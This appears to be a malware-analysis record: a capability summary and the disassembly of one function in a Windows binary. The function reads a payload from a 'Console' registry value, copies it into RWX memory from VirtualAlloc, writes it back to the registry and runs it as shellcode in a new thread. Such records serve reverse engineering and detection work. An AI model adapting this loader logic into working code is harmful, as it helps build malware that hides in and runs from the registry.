Function at 0x408080
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Delete registry value
Execute shellcode via indirect call
Query or enumerate registry value
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5740b0
mov eax, dword fs:[0]
push eax
sub esp, 0xa58
push ebx
push esi
push edi
mov eax, dword [0x5d544c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
mov dword [ebp - 0x18], esi
mov ebx, dword [ebp + 8]
cmp byte [ebx], 0xc9
je 0x40842b
cmp dword [ebp + 0xc], 0x65
jne 0x408325
lea eax, [ebp - 0x14]
push eax
push 0x20019
xor edi, edi
push edi
push str.Console0
push SysReAllocStringLen
mov dword [ebp - 0x1c], 3
mov dword [ebp + 0xc], edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40819c
mov eax, dword [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [ebp + 0xc]
push ecx
push edi
lea edx, [ebp - 0x1c]
push edx
push edi
push 0x5ab028
push eax
call esi
mov eax, dword [ebp + 0xc]
cmp eax, 0xa44
jbe 0x40818f
push eax
call fcn.0040e1dc
mov ecx, dword [ebp + 0xc]
push ecx
mov ebx, eax
push edi
push ebx
call fcn.0054c4c0
mov ecx, dword [ebp - 0x14]
add esp, 0x10
lea edx, [ebp + 0xc]
push edx
push ebx
lea eax, [ebp - 0x1c]
push eax
push edi
push 0x5ab028
push ecx
call esi
test eax, eax
jne 0x40818c
push 0x40
mov ecx, 0x291
mov esi, ebx
mov edi, 0x5ddf90
rep movsd dword es:[edi], dword [esi]
mov edx, dword [0x5de198]
push 0x3000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x5de198]
push ecx
add ebx, 0xa44
push ebx
push eax
mov dword [0x5de9d4], eax
call fcn.0054e3a0
add esp, 0xc
xor edi, edi
mov ebx, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x18]
mov ecx, 0x5de19c
lea eax, [ebx + 1]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4081ca
cmp dx, di
je 0x4081c6
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4081ca
add eax, 4
add ecx, 4
cmp dx, di
jne 0x4081a4
xor eax, eax
jmp 0x4081cf
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x408316
mov eax, dword [0x5de9d4]
cmp eax, edi
je 0x4081f3
push 0x8000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x5de9d4], edi
push 0x1e4
lea ecx, [ebp - 0xa46]
xor eax, eax
push edi
push ecx
mov dword [ebp - 0xa64], edi
mov dword [ebp - 0xa60], 0x5f55767b
mov dword [ebp - 0xa5c], 0x57576a21
mov dword [ebp - 0xa58], 0x64002e
mov dword [ebp - 0xa54], 0x6c006c
mov dword [ebp - 0xa50], 0x62005f
mov dword [ebp - 0xa4c], 0x6e0069
mov word [ebp - 0xa48], ax
call fcn.0054c4c0
push 0x64
lea eax, [ebp - 0x858]
xor edx, edx
push edi
push eax
mov word [ebp - 0x862], dx
mov dword [ebp - 0x860], edi
mov dword [ebp - 0x85c], edi
call fcn.0054c4c0
push 0x7d0
lea ecx, [ebp - 0x7f4]
push edi
push ecx
call fcn.0054c4c0
push 0xa45
mov dword [ebp - 0x24], edi
call fcn.0040e1dc
add esp, 0x28
push 0x5caa04
lea edx, [ebp - 0x20]
mov dword [ebp - 4], edi
push edx
mov dword [ebp + 8], eax
mov byte [eax], 5
mov dword [ebp - 0x20], 0xb
call fcn.0054bcfa
mov ecx, dword [ebp + 8]
push 0xa44
lea eax, [ebp - 0xa64]
push eax
inc ecx
push ecx
call fcn.0054e3a0
add esp, 0xc
mov dword [ebp - 4], 0xffffffff
mov eax, 0x4082da
ret
push edi
push edi
push esi
push 0x407e40
push edi
push edi
jmp 0x40840c
push 0x40
lea esi, [ebx + 1]
mov ecx, 0x291
mov edi, 0x5ddf90
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x5de198]
push 0x3000
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [0x5de198]
push edx
add ebx, 0xa45
push ebx
push eax
mov dword [0x5de9d4], eax
call fcn.0054e3a0
mov eax, dword [0x5de198]
add eax, 0xa44
push eax
mov dword [ebp + 0xc], eax
call fcn.0040e1dc
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x4083fb
mov ecx, 0x291
mov esi, 0x5ddf90
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [0x5de198]
mov ecx, dword [0x5de9d4]
push eax
push ecx
lea edx, [ebx + 0xa44]
push edx
call fcn.0054e3a0
add esp, 0xc
lea eax, [ebp + 8]
push eax
push str.Console0
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4083e8
mov ecx, dword [ebp + 8]
push 0x5ab028
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push ebx
push 3
push 0
push 0x5ab028
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.0040e1e7
add esp, 4
mov esi, dword [ebp - 0x18]
push 0
push 0
push esi
push 0x407e40
push 0
push 0
call fcn.0054b41a
add esp, 0x18
push 0xbb8
mov dword [esi + 0x18], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esi + 4]
mov edx, dword [ecx]
mov eax, dword [edx]
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8